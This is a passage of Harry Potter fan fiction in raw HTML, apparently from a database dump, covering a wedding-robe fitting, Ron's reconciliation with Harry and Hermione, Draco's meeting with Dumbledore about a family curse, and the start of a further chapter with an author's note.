needs the influence of a good woman.&#8221;</p>\n\n<p></p>\n\n<p> Ginny saw her mother glance critically at Mrs Malfoy from the corner of her eye.</p>\n\n<p></p>\n\n<p> &#8220;Mum, he doesn&#8217;t listen to anything I say. It would be pointless to even try.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley smiled at her. It was one of those secret smiles Ginny remembered so well from her childhood when they were doing something her mother didn&#8217;t want the men in the family to know about; sneaking special biscuits just for them or reading silly romance novels together. &#8220;You don&#8217;t get a man to do something by <i>telling</i> him to do it.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;But<font face="Symbol">&#190;</font> &#8221;</p>\n\n<p></p>\n\n<p> &#8220;You have to be more subtle than that, Ginny.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;How?&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley blushed. &#8220;I&#8217;m sure that you can figure it out, dear.&#8221;</p>\n\n<p></p>\n\n<p> Ginny&#8217;s eyes widened in sudden understanding. &#8220;Oh!&#8221; Then the thought of her mother doing that to her father . . . She wrinkled her nose and Mrs Weasley laughed. </p>\n\n<p></p>\n\n<p> &#8220;Don&#8217;t play innocent.&#8221; She poked Ginny with her wand. &#8220;You know what I mean.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I suppose so, Mum.&#8221; Ginny picked at the heavy Alen&#231;on lace on her bodice. &#8220;I just don&#8217;t think that Draco and I are going to work out, is all. He&#8217;s so cold to me lately. I<font face="Symbol">&#190;</font> I don&#8217;t know what I did or what to <i>do</i>.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley was silent for a long time, pinning, hemming, sewing on buttons. After several minutes, she spoke again. &#8220;Draco isn&#8217;t comfortable with his feelings, poppet.&#8221; Flick. Swish. &#8220;Perhaps you made him feel something that he doesn&#8217;t want to admit to feeling.&#8221; She stuck a few pins in her mouth and concentrated on the skirt of Ginny&#8217;s robes.</p>\n\n<p></p>\n\n<p> Ginny thought that she could understand that. Tom had told her many times that emotions are a way to manipulate people into doing what you want them to do. And Draco would never want to be manipulated. She pushed aside the niggling thought that he was also manipulating <i>her </i>. . . </p>\n\n<p></p>\n\n<p> &#8220;I still don&#8217;t know what to do,&#8221; Ginny whispered. Mrs Malfoy was nodding her head in a sleepy manner just inside Ginny&#8217;s field of vision.</p>\n\n<p></p>\n\n<p> Mrs Weasley ripped out a seam with her wand and pinned it back in place before sewing the seam up a little tighter. &#8220;You&#8217;re a woman now, Ginny. This is what we do. We talk. Sometimes they listen, sometimes they don&#8217;t. It isn&#8217;t always fair, but it&#8217;s how things are. We&#8217;ll always be the ones to sacrifice.&#8221;</p>\n\n<p></p>\n\n<p> Ginny raised her eyebrows in disbelief. &#8220;Why do I suddenly want to read those pamphlets Hermione put on my bedside table about women&#8217;s liberation?&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley made an indelicate noise through her nose and pulled some pins out of her mouth. &#8220;Hermione Granger needs to mind her own business.&#8221; Tuck. Tuck. &#8220;The thing she doesn&#8217;t understand is that women are <i>not </i>superior to men and vice versa.&#8221; Zip. &#8220;Women are good at certain things, and men are good at others. It&#8217;s the way things are.&#8221; Tuck. &#8220;For instance, I don&#8217;t think the world would have half as many people as it does if <i>men</i> had to have the babies.&#8221; Zip. &#8220;They&#8217;re all still babies themselves when it comes to pain.&#8221; Swish. &#8220;You saw what happened when your father caught his finger in that silly Muggle thing last summer. He could have cut it off and made less fuss.&#8221; Flick. &#8220;And when Draco was hexed by that snow sprite over winter holidays you would think that the <i>world </i>was going to end.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley stopped sewing and grasped Ginny by the shoulders. Her gaze was more intense than Ginny had ever seen before. &#8220;I don&#8217;t <i>want </i>you to be miserable, Ginny. I want you to have a happy marriage like your father and I have. But there are some things you simply <i>must </i>do yourself. This is one of them. Draco won&#8217;t put his pride on the line because he&#8217;s too wrapped up with being a Malfoy, whatever that is.&#8221; Mrs Weasley pulled Ginny close to her bosom suddenly. </p>\n\n<p></p>\n\n<p> Ginny remembered this from childhood and wished that she wasn&#8217;t sixteen going on seventeen and about to be married to someone who didn&#8217;t give two Knuts for her. She closed her eyes and inhaled her mother&#8217;s scent, spare threads from sewing tickling her nose. Her mother&#8217;s breath was deep and even, calm under Ginny&#8216;s ear and cheek; her chest warm and soft as homemade bread. </p>\n\n<p></p>\n\n<p> &#8220;My little Ginny is all grown up now.&#8221; Those were tears in her mother&#8217;s voice. Ginny fancied that she could hear them trickling down over her worn cheeks. &#8220;Save him. Save yourself.&#8221; Mrs Weasley pushed Ginny back to look at her and wipe her own cheeks. &#8220;Have pride. You&#8217;re a Weasley. Don&#8217;t give him what he wants just to give it to him. Make him <i>earn </i>your respect. But don&#8217;t let pride do you in. It can do, believe me on that, little love.&#8221;</p>\n\n<p></p>\n\n<p> Ginny opened her mouth to reply, but her mother put a calloused finger to her lips. She had the sudden, terrible impression that her mother knew precisely what she was talking about here. Surely in her youth . . . </p>\n\n<p></p>\n\n<p> &#8220;Don&#8217;t talk. Just think about it.&#8221; Mrs Weasley sniffed a few times and beamed through her tears. &#8220;Now turn around and see how well the robes fit.&#8221;</p>\n\n<p></p>\n\n<p> Ginny turned to gaze at herself in the floor-length mirror behind her and didn&#8217;t recognise herself at all. </p>\n\n<p></p>\n\n<p> She looked like a woman.</p>\n\n<p></p>\n\n<p> The bronze silk skirt was covered by a filmy, dark cream-coloured material that shimmered when the light hit it. Her bodice was silk, too, and it swelled up over her breasts. They seemed fuller and larger encased in silk. Her waist smaller than usual with a rounded hump that no one would see under the skirts of her robe. The bottom half of her sleeves flared out and draped in the same billowy material that swathed her skirt, utterly sheer and transparent. It took her breath away.</p>\n\n<p></p>\n\n<p> &#8220;Mum, you wore this when you and dad were married?&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley smiled and tucked her wand into the waistband of her robes. &#8220;Yes. But you look more comfortable in it than I ever did.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;It&#8217;s lovely.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Be careful, though, there&#8217;s a hoop that&#8217;s supposed to go under the skirt of those robes. You may have trouble manoeuvring it during the ceremony.&#8221;</p>\n\n<p></p>\n\n<p> Ginny frowned. Yes, there was a reason that she was standing in these beautiful robes. She had to get married. Her mother prattled on, not noticing the expression on Ginny&#8217;s face.</p>\n\n<p></p>\n\n<p> &#8220;There are little pockets in the skirt that you can slip your hands into. The hoop is charmed, so it will bend if you press it with your fingers. That way you can walk through doors and everything.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Mum.&#8221; Ginny shook her head and licked her lips. It was on the tip of her tongue to say that she&#8217;d wear any other robes but these. These robes had history and had seen generations of happy brides. If she wore them, perhaps she&#8217;d stain them with her misery and ruin the next bride. Then she thought that the next bride could very possibly be her own daughter.</p>\n\n<p></p>\n\n<p> Maybe the robes were lucky and could rub off some of their good luck instead of the other way around.</p>\n\n<p></p>\n\n<p> &#8220;They&#8217;re perfect, Mum.&#8221; Ginny turned and smiled as widely and as brightly as she could. Even though on the inside, her heart was racing a panicked tattoo. &#8220;Everything will be just perfect.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy had roused from her stupor and wended her way around imaginary furniture to inspect the newly restored robes. Ginny suspected that she&#8217;d had an awful lot of tea.</p>\n\n<p></p>\n\n<p> &#8220;Merlin,&#8221; Mrs Malfoy commented, her elegant fingers tripping over the lace on Ginny&#8217;s bodice. &#8220;Is that <i>Alen&#231;on </i>lace?&#8221;</p>\n\n</font><font size="4"><p></p>\n\n<p> Ginny smirked.</p>\n\n</font><font face="Palatino Linotype" size="4"><p>\n\n</p>\n\n<p></p>\n\n<p> *~*~*~*~*</p>\n\n<p></p>\n\n<p>\n\n</p>\n\n<p> Ron decided that this was not one of his better days.</p>\n\n<p></p>\n\n<p> Pansy ran from him every time he came near; Millicent Bulstrode refused to help him convince Pansy to stop running away, <i>and </i>had an excellent right hook to boot; Ginny was holed up with their mother and Mrs <i>Malfoy</i> in some unused room in the Astronomy tower to play dress-up with some old robes; and Harry and Hermione were trying to convince him to join in their latest scheme, which involved the Mirror of Erised.</p>\n\n<p></p>\n\n<p> No knight was complete without a mystic quest, was he?</p>\n\n<p></p>\n\n<p> &#8220;You&#8217;re mad, the pair of you.&#8221; Ron crossed his arms and leant up against the rough stone wall behind him, but his arms were wrapped around himself more to keep them from trembling than to look uninterested in the conversation. &#8220;Why do you need me?&#8221;</p>\n\n<p></p>\n\n<p> Hermione flicked her eyes to Harry and licked her lips. There had been a time when such a small action on her part would set off a firestorm in his stomach and . . . other places. But now he wasn&#8217;t affected at all. He supposed that most of his attachment to Hermione was lust and some strange part of his mind that told him that she was the only one who ever stood the slightest chance of having him, but now that he had worked so much of that out of his system . . . </p>\n\n<p></p>\n\n<p> Harry stepped forward. &#8220;You know we&#8217;re sorry, Ron.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Do I?&#8221; Ron raised his eyebrows. &#8220;Just because I&#8217;m talking to you doesn&#8217;t mean that we&#8217;re friends again, and it doesn&#8217;t mean that I know you&#8217;re sorry, either.&#8221;</p>\n\n<p></p>\n\n<p> They both seemed uncomfortable now, Hermione most of all. &#8220;Of course we are. Things tangled up and got out of hand.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Out of hand?&#8221; Ron asked incredulously, snorting to blow off some of the steam filling his ears. &#8220;I&#8217;d say that it was more than just out of hand. You two did the most heartless<font face="Symbol">&#190;</font> &#8220; Ron closed his eyes. &#8220;I didn&#8217;t know that either of you <i>could </i>be cruel. Especially to me.&#8221; He twiddled his hands, his eyes cracked open just enough to see Harry before him. &#8220;We were in a rough patch, but we could have worked it out, honestly.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;We thought we were doing the right thing, Ron.&#8221; Harry stumbled over his words and rubbed the back of his neck. &#8220;Or at least, <i>I</i> thought we were. Didn&#8217;t think you&#8217;d want us to see you<font face="Times New Roman">&#8212;</font> um, well . . .&#8221;</p>\n\n<p></p>\n\n<p> Ron leaned forward, the skin of his face painful and tight over his cheekbones. &#8220;It wasn&#8217;t just because of Hagrid, that&#8217;s for sure.&#8221; His eyes stung but remained agonisingly dry. &#8220;I don&#8217;t need either of you anymore. I can stand up on my own two feet.&#8221; Ron rested his chin on his chest, examining his new dragonhide boots and counting the scuffs he&#8216;d already adorned them with just since Harry and Hermione arrived. &#8220;I can cast my own shadow, you know.&#8221;</p>\n\n<p></p>\n\n<p> Hermione clapped a hand over her mouth and the sound made Ron look up. He glanced over to see Harry standing grim and heroic in the subtle light of the unused corridor, much more so than he himself did, Ron thought.</p>\n\n<p></p>\n\n<p> &#8220;We never meant to<font face="Symbol">&#190;</font> &#8221;</p>\n\n<p></p>\n\n<p> He cut Harry off. &#8220;Well, you did.&#8221; Ron scraped the heel of his shoe against the wall again. <i>Hermione&#8217;s incredible brains and Harry&#8217;s incredible bravery and talent . . . </i>&#8220;I know you never meant to do it. It&#8217;s just the way things were.&#8221; </p>\n\n<p></p>\n\n<p>Were sounded so terribly final, all of a sudden.</p>\n\n<p></p>\n\n<p> Harry&#8216;s smile was forced and brittle. &#8220;If you&#8216;re all grown up and independent, then we really need you now. More than ever before.&#8221;</p>\n\n<p></p>\n\n<p>\n\n<i>They needed him. What did he have to offer? What could they possibly want <b>him </b>for? </i></p><i>\n\n</i><p></p>\n\n<p> Ron heaved a sigh and twisted his lips. &#8220;You really need me?&#8221; He caught Hermione&#8217;s eye. &#8220;Both of you?&#8221;</p>\n\n<p></p>\n\n<p> She nodded, her eyes very wet and bright. &#8220;Always. And for more than just this, Ron.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;We can cast a <i>really</i> big shadow together. Right, Ron?&#8221; Harry&#8217;s gaze was penetrating, his spectacles reflecting the light from the torch he held. </p>\n\n<p></p>\n\n<p> Ron chewed his lip for a second more before making his decision. If he went on this adventure with them, would he lose everything he had become? Would all of that new-found control abandon him? He reached out suddenly to curl his fingers with Harry&#8217;s, their palms facing away from each other. Hermione let her hand flutter down to seal over theirs. Perhaps it would be just a business deal, but if he was truly lucky, this would bring them together again.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m in.&#8221;</p>\n\n<p></p>\n\n<p></p>\n\n<p>~*~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p> Draco came to a stop at the spiral stairs leading to the Headmaster&#8217;s office, which were down since Dumbledore was expecting him. He was keenly aware of what happened the last time he was there, the last two times, actually. They were both bad. Draco sucked in a breath and prepared to walk into the proverbial lion&#8217;s den, fully expecting to be attacked and killed this time by that stupid bird.</p>\n\n<p></p>\n\n<p> Dumbledore called for him to enter and he did, striding quickly past Fawkes&#8217; perch, and stopped directly before the Headmaster&#8217;s desk.</p>\n\n<p></p>\n\n<p> &#8220;You wanted to see me, sir?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Ah yes, Mr Malfoy. Please take a seat.&#8221;</p>\n\n<p></p>\n\n<p> Draco&#8217;s eyes shifted down to the chair beside him briefly before looking back at Dumbledore. He did not sit down. </p>\n\n<p></p>\n\n<p> Dumbledore inclined his head. &#8220;As you wish. I&#8217;ll attempt to be brief.&#8221; He leant back in his chair and stroked his long, white beard. &#8220;I would congratulate you on your upcoming marriage to Miss Weasley, but I feel that would be in bad taste considering the circumstances.&#8221; He pursed his lips as if vexed about something or the other. &#8220;Instead, I would like to offer you some advice.&#8221;</p>\n\n<p></p>\n\n<p> Draco could feel his lips twisting up in a sneer. &#8220;Really?&#8221;</p>\n\n<p></p>\n\n<p> If Dumbledore saw this, he ignored it. &#8220;Yes. Your father is gone and, to be honest, we both know that his advice would be a trifle skewed.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Ah.&#8221; Draco straightened his back at the injury to his father. Lucius may have been a bastard, but it wasn&#8217;t polite for other people to acknowledge it. At least not in his <i>presence</i>.</p>\n\n<p></p>\n\n<p> &#8220;Have you thought of what you will do after you leave school in June?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Run an orphanage for cast-off Muggles, of course,&#8221; Draco replied snidely. &#8220;I&#8217;ll be married to a Weasley, so I suppose it&#8217;s expected of me to cater to the lowest of the low. Can&#8216;t get much lower than something the <i>Muggles</i> have cast off, can you?&#8221;</p>\n\n<p></p>\n\n<p> Dumbledore shook his head and sighed. &#8220;Be serious for a moment, Mr Malfoy.&#8221; His long-fingered hands steepled and he pressed the palms flat before pulling them back and squeezing them together over and over. It was an oddly nervous gesture for the usually over-confident Headmaster and Draco&#8216;s practiced eye caught it. &#8220;I think that the Weasley family did you a great service.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Service!&#8221; Draco spat, the word offending his sensibilities in the extreme. </p>\n\n<p></p>\n\n<p> Dumbledore&#8217;s blue eyes were uncharacteristically stern, commanding Draco&#8217;s attention. &#8220;Yes, they helped open your eyes to a world of emotion and love and laughter you&#8217;d never known before. You were<font face="Times New Roman">&#8212;</font> &#8221; His eyes shifted suddenly to Fawkes&#8217; before looking back at Draco &#8220;You were guided there, by chance or what-have-you, to learn from them.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;And what did I learn?&#8221; Draco asked, his voice hoarse, thick with guilt and anger. &#8220;I learnt that they have children who betray them, that one of their sons is a jealous <i>prick</i>, and their daughter will jump in bed&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Enough!&#8221; Dumbledore stood up and walked around his desk, coming so close that Draco wanted to step back only to find that he could not. &#8220;I have done everything in my power to ensure that you had a choice in your destiny, Mr Malfoy,&#8221; Dumbledore whispered, his eyes unreadable. &#8220;You have no excuse anymore for your behaviour.&#8221;</p>\n\n<p></p>\n\n<p> Draco&#8217;s eyes widened. &#8220;You knew about it!&#8221; He stumbled and fell into the cushy grasp of a chair that was now suddenly behind him. Dumbledore seemed larger than life from this position and he scrambled to get to his feet, but found that, again, he couldn&#8217;t move.</p>\n\n<p></p>\n\n<p> Dumbledore looked down at him with an almost grandfatherly concern. &#8220;I watched you very closely for a long time, trying to determine why you were so cold and detached from your fellow students. At first I thought you were only a nasty little boy.&#8221; He smiled and Draco scowled. &#8220;But then, I came across the answer in a sudden flash of insight.&#8221; Dumbledore leant back up against his desk. &#8220;If you&#8217;ll recall, Mr Potter is now quite a bit taller than nature intended him to be. The Weasley twins dosed him with an experimental sweet that had no cure.&#8221; He closed his eyes and nodded as if to some music Draco couldn&#8217;t hear, pulling his curious pocket watch out and glancing at it. &#8220;Foolish of them to be sure, but I don&#8217;t believe there is any lasting harm and Mr Potter seems to enjoy the extra inches<font face="Symbol">&#190;</font> &#8221;</p>\n\n<p></p>\n\n<p> Draco cut Dumbledore off. &#8220;Do you have a point, sir, or shall we be here all night recalling Potter&#8216;s joy at being closer to a real man instead of a midget?&#8221; </p>\n\n<p></p>\n\n<p> Dumbledore smiled that ghostly, mischievous smile of his, the one that made Draco want to strangle him with his own beard. &#8220;Yes, Mr Malfoy, there is a point to all this. The change Mr Potter went through was quite similar to the one <i>you </i>went through in your sixth year. It was that drastic, physical change and the sudden reversal at the beginning of your seventh that confirmed it for me.&#8221;</p>\n\n<p></p>\n\n<p> Draco stared up at him mutely, praying to finally hear some answers.</p>\n\n<p></p>\n\n<p> &#8220;Of course, I&#8216;m speaking of the curse, which you already know about.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Tell me what it is,&#8221; Draco almost pleaded before he could stop himself. <i>Malfoys don&#8217;t beg</i>, he reminded himself. &#8220;What did it do to me?&#8221; He looked down at the cuffs of his robes, falling further over his hands than they had the week before. &#8220;What is it <i>doing </i>to me?&#8221;</p>\n\n<p></p>\n\n<p> Dumbledore sighed and rubbed his nose. &#8220;That curse is not meant for growing children. I speculate that it was cast upon you as an infant and reinforced as needed over the years.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;But how do <i>you</i> know about that curse?&#8221; Draco asked. &#8220;It&#8217;s supposed to be a Malfoy curse.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Oh it is.&#8221; Dumbledore nodded and leant back to rest on his desk. &#8220;Chertien de Malfai was the first to cast it on his kin.&#8221; His lips twisted down in a dark frown. &#8220;But he learnt it from someone else.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Wh<font face="Symbol">&#190;</font> &#8221;</p>\n\n<p></p>\n\n<p> Dumbledore raised his hand to cut him off. &#8220;I won&#8217;t tell you anymore of this. The curse is mostly gone now, and good riddance to it. It should not have survived long enough to plague you.&#8221; His head nodded down as if he were about to fall asleep, though his eyes were still sharp. &#8220;I regret that I had not noticed this sooner, Mr Malfoy. I would have rectified it before this year had I known.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m sure,&#8221; Draco replied tersely. &#8220;May I leave now?&#8221;</p>\n\n<p></p>\n\n<p> Dumbledore looked up and waved his hand toward the door. It opened. &#8220;If you ever need someone to talk with, I am here. The door is always open to you, however late it may be.&#8221;</p>\n\n<p></p>\n\n<p> Draco rose from the chair now that he was free to do so, and rolled his eyes as soon as his back was toward the Headmaster. That stupid, twittering fool. Draco plonked down the stairs and back to his dormitory to revise for his N.E.W.T&#8217;s. He hadn&#8217;t discovered anything new about the curse and it was an utterly pointless<font face="Symbol">&#190;</font> That stupid, twittering fool. Of course!</p>\n\n<p></p>\n\n<p> Chertien de Malfai.</p>\n\n<p></p>\n\n<p> Turning abruptly in the corridor, Draco headed to the library.</p>\n\n<p>\n\n</p>\n\n<p></p>\n\n<p>*~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p> &#8220;I&#8217;ve said it before and doubtless will again.&#8221; Ron considered Harry and Hermione very seriously, his eyebrows raised so that his expression seemed to say that he was at least open to the possibilities. &#8220;You&#8217;re barking.&#8221;</p>\n\n<p></p>\n\n<p> Hermione sighed in frustration and Harry frowned. Trust Ron to be difficult. &#8220;No, we&#8217;re serious. We think that Dumbledore<font face="Symbol">&#190;</font> &#8221;</p>\n\n<p></p>\n\n<p> Ron waved his hand at Harry and went back to scowling at Hermione&#8217;s notes. &#8220;I know, I know. You told me. You think he&#8217;s this <i>Grindylowe </i>fellow.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Grindle<i>wald</i>,&#8221; Hermione corrected. &#8220;Didn&#8217;t you ever pay attention in History of Magic?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;That was over two years ago, Hermione!&#8221; Ron exclaimed. &#8220;Blimey, even <i>you</i> had problems staying awake during Professor Binn&#8217;s lectures.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Actually, Hermione,&#8221; Harry started. &#8220;I may be a bit dim when it comes to History of Magic, but I did my essays and I don&#8217;t remember ever hearing of Grindlewald more than once. And it was just a passing reference at that.&#8221;</p>\n\n<p></p>\n\n<p> Hermione frowned. &#8220;Hmmn. You may be right, Harry. Now that I think on it, all of the information I gathered about him was from the library. I don&#8217;t remember ever doing an essay on him, either. Odd for such a supposedly famous Dark wizard.&#8221; She shuffled some parchments around, looking through them each carefully before setting them aside. &#8220;And they all say that he was an &#8216;evil wizard&#8217;, but they never state what exactly it was that he <i>did</i> . . . mentions of Muggles,&#8221; she mumbled, flipping through her research. &#8220;Nothing solid or expanded upon.&#8221; </p>\n\n<p></p>\n\n<p> &#8220;He was on one of my Chocolate Frog cards,&#8221; Ron said quietly. &#8220;I remember now that they mentioned Grindlewald on the back of Dumbledore&#8217;s card.&#8221; He met Harry&#8217;s eye across the table. &#8220;It said that Dumbledore defeated that bloke ages ago, Harry. He&#8217;s long dead and even if he weren&#8217;t, we&#8217;d be able to tell if Dumbledore was evil.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Well, the way Albus was telling it, Grindlewald would be running for Muggle Lover of the Year these days,&#8221; Harry added, thoughtfully pulling on his lower lip.</p>\n\n<p></p>\n\n<p> Ron&#8216;s mouth twisted in a frown of confusion. &#8220;Albus?&#8221;</p>\n\n<p></p>\n\n<p> Hermione threw Harry a worried look. &#8220;Perhaps you ought explain.&#8221;</p>\n\n<p></p>\n\n<p> Harry sighed and rubbed the bridge of his nose. &#8220;I <i>ought </i>to<i>\n\n</i>just show him.&#8221;</p>\n\n<p></p>\n\n<p> Ron raised his eyebrows and stood up when Harry and Hermione did. &#8220;Where are we going?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Just up to the dormitory. It&#8217;s late, so Seamus should be asleep by now,&#8221; Harry replied.</p>\n\n<p></p>\n\n<p> &#8220;What does Seamus have to do with this?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;It&#8217;s his Quaffle,&#8221; Harry explained patiently just before he opened the seventh-year dormitory.</p>\n\n<p></p>\n\n<p> &#8220;What?&#8221; Ron stepped back a pace. &#8220;I&#8217;m not<font face="Symbol">&#190;</font> &#8221;</p>\n\n<p></p>\n\n<p> &#8220;Oh Ron!&#8221; Hermione whispered frantically. &#8220;We&#8217;ll explain everything once we show you. But you have to be quiet. I&#8217;ll cast another Sphere just to make sure. All right?&#8221;</p>\n\n<p></p>\n\n<p> Ron beetled his brows, cross and confounded as usual. &#8220;All right,&#8221; he grumbled. &#8220;But you had better have an excellent explanation for why we&#8217;re stealing Seamus&#8217; Quaffle in the middle of the night.&#8221;</p>\n\n<p></p>\n\n<p> Harry rolled his eyes and lead them into the dark, quiet room. Seamus&#8217; bed was just under a window, so there was plenty of moonlight to guide them. Albus Quaffle slid out from under Seamus&#8217; arm when he saw them and crept to the edge of the bed. </p>\n\n<p></p>\n\n<p> &#8220;Did that<font face="Symbol">&#190;</font> !&#8221;</p>\n\n<p></p>\n\n<p> Hermione made a shushing noise at Ron while Harry grabbed the Quaffle and motioned them all to sit on his bed. Hermione cast the Silencing Sphere, and the first thing he heard was two loud, annoying voices.</p>\n\n<p></p>\n\n<p> &#8220;Did you know that that Quaffle is moving by itself?&#8221; Ron asked shrilly.</p>\n\n<p></p>\n\n<p> &#8220;If you think that I&#8217;m telling anyone anything after the way you&#8216;ve mishandled me then you&#8217;re sorely mistaken!&#8221; Albus started up.</p>\n\n<p></p>\n\n<p> &#8220;He <i>talks</i>!&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Both of you be quiet!&#8221; Hermione said loudest of all, her voice stern and brow knitted in a scowl.</p>\n\n<p></p>\n\n<p> Ron&#8217;s skin suddenly took on a ghostly hue and he scooted across the bed away from Harry. &#8220;Is that who you&#8217;ve been cheating on Hermione with? A<font face="Symbol">&#190;</font> a plush, <i>talking</i> Quaffle?&#8221;</p>\n\n<p></p>\n\n<p> Hermione&#8217;s head whirled toward Harry, her hair whipping his cheeks as she arched an eyebrow at him. &#8220;Cheating on me?&#8221;</p>\n\n<p></p>\n\n<p> Harry&#8217;s eyes widened and he raised his hands to defend himself. &#8220;No! Good God, no! I haven&#8217;t done<font face="Symbol">&#190;</font> With <i>Albus</i>, Hermione? I hate him.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Then why did I hear you talking about stuffing something in Seamus&#8217; Quaffle one morning a while back?&#8221; Ron asked, flicking narrow glances between the toy in question and Harry as if he was watching a lively tennis set.</p>\n\n<p></p>\n\n<p> Harry laughed in relieved surprise. &#8220;Oh Merlin!&#8221; He clutched at his stomach to contain himself, but only laughed harder when he looked up to see Ron&#8217;s horrified face again. &#8220;Albus is<font face="Symbol">&#190;</font> you thought<font face="Symbol">&#190;</font> &#8220; He snorted and clapped a hand over his mouth. </p>\n\n<p></p>\n\n<p> &#8220;I&#8217;ve told you about casting a Sphere before you talk to Albus, Harry,&#8221; Hermione admonished in a stern tone, though her lips were twitching madly. &#8220;Now Ron thinks that you&#8217;ve been shagging a plush toy!&#8221;</p>\n\n<p></p>\n\n<p> Harry and Hermione leaned against each other and shuddered with silent laughter. Ron sat back on his hands, his eyebrows shadowing his glare. &#8220;You two are the <i>oddest</i> people. You know that, right?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I quite agree, young man,&#8221; Albus piped up finally. &#8220;And very rude!&#8221; His little soft face was collapsed in a deep frown.</p>\n\n<p></p>\n\n<p> Through tears of mirth, Harry saw Ron glance down at the Quaffle. &#8220;This thing isn&#8217;t half bad after all.&#8221; He looked up at Hermione. &#8220;Now would you mind terribly explaining who the hell it is?&#8221;</p>\n\n</font><font face="Palatino Linotype"><p></p>\n\n</font><font size="2"><p></p>\n\n<p></p>\n\n</font><font size="5"><p></p>\n\n<b><p>Reviewing is good for my soul. It may also be good for <i>your</i> soul, but that theory hasn&#8217;t been extensively tested yet. Would you like to participate in that survey? Just leave a review and we&#8217;ll . . . well, we&#8217;ll see how many people feel better afterward. :p</p></b>\n\n</font></blockquote><font size="5">\n\n</font>\n\n '),
	(271, 33, ' <blockquote>\n\n<b><font face="Palatino Linotype" size="4"></font></b><font face="Palatino Linotype" size="4"><p><b>Author&#8217;s Notes: </b>It&#8217;s been a while since I updated. Been doing all sorts of moving and shaking and working lately. My free time is pretty nil. But I do have a few other chapters waiting to be uploaded, but I&#8217;m keeping them until I can do some final edits and stuff on them since I still am beta-less. I&#8217;m very particular about the betas I work with, if you couldn&#8217;t tell from my writing. Usually I ask that they know more about writing and English than I do, otherwise, what&#8217;s the point?</p>\n\n<p></p>\n\n<p> So anyway, aside from my fruitless search for perfection (god, I miss Alexis right now), AIDE is starting to wrap up. I have the final chapters outlined and ready to write when I get the time. I&#8217;m estimating about 40 chapters of this right now. Still working out kinks. And working them in.</p>\n\n<p></p>\n\n<p> I do want to take this time to thank you all for the reviews so far and to keep them coming. If it wasn&#8217;t for those reviews, I wouldn&#8217;t bother updating because I&#8217;d think you&#8217;d all lost interest by now. But thanks go to Kelly for leaving a lovely, long review the other day to remind me. I really appreciated your comments because they were thoughtful, questioning, and honest. Aurora Borealis1, you&#8217;re spot on, love, so a biscuit for you. A heads up to Sue Bridehead the reviewer for unwittingly leading me to the following quote, thank you. Joseph Campbell is the best. You will surely be appreciating later bits of this story, I assure you.</p>\n\n<p> Um, I would like to know which words I&#8217;m misspelling since I seem to get a few reviews saying that. I run everything through spellcheck and it&#8217;s set to UK ENGLISH in case anyone is confused on that point. The &#190; things I&#8217;ve tried to correct in this chapter. Hope everyone enjoys this chapter.</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<i><p>The cave you fear to enter holds the treasure you seek. -- Joseph Campbell </p>\n\n</i><p></p>\n\n<p></p>\n\n<p></p>\n\n<p> &#8220;I&#8217;ll take the tray. Now be gone, elf,&#8221; Draco snarled as he kicked the air behind an impertinent house-elf wearing a large, floppy, and poorly-knitted hat. The elf snapped his fingers and sent Draco a glare before fully Disapparating from the room. </p>\n\n<p></p>\n\n<p> &#8220;Liberated help, indeed,&#8221; he muttered.</p>\n\n<p></p>\n\n<p> Draco glanced back at his mother, lounging calmly on a divan with a cold cloth over her eyes. Her hands were draped dramatically over her head, shielding her face further from his view and he from hers. Most excellent.</p>\n\n<p></p>\n\n<p> He pulled a small, blue phial from his pocket and added three drops of clear liquid to the bottom of her cup before tucking it away again and carrying the tray over to the small table beside his mother&#8217;s divan.</p>\n\n<p></p>\n\n<p> &#8220;Tea&#8217;s here, Mother,&#8221; Draco said quietly. He poured a cup for her, carefully adding sugar to suit before passing it over.</p>\n\n<p></p>\n\n<p> &#8220;Just set it down, Draco.&#8221; Mrs Malfoy waved a long-fingered ivory hand in his general direction and pressed at the cloth over her eyes. &#8220;Do be a dear, though, and pull those drapes shut. The sunlight pierces my brain like a<font face="Times New Roman">&#8212;</font> &#8221; She sat up partially and turned her blinkered head toward him. &#8220;What is that thing? A needle? Yes, one of those.&#8221; She laid flush against the pillows again. &#8220;I should know about those by now. I&#8217;ve had to watch Molly Weasley with one enough to be sick to death of them. And I have <i>such</i> a migraine . . .&#8221;</p>\n\n<p></p>\n\n<p> Draco rolled his eyes and did as he was bid, flicking his wand at the curtains. Only they 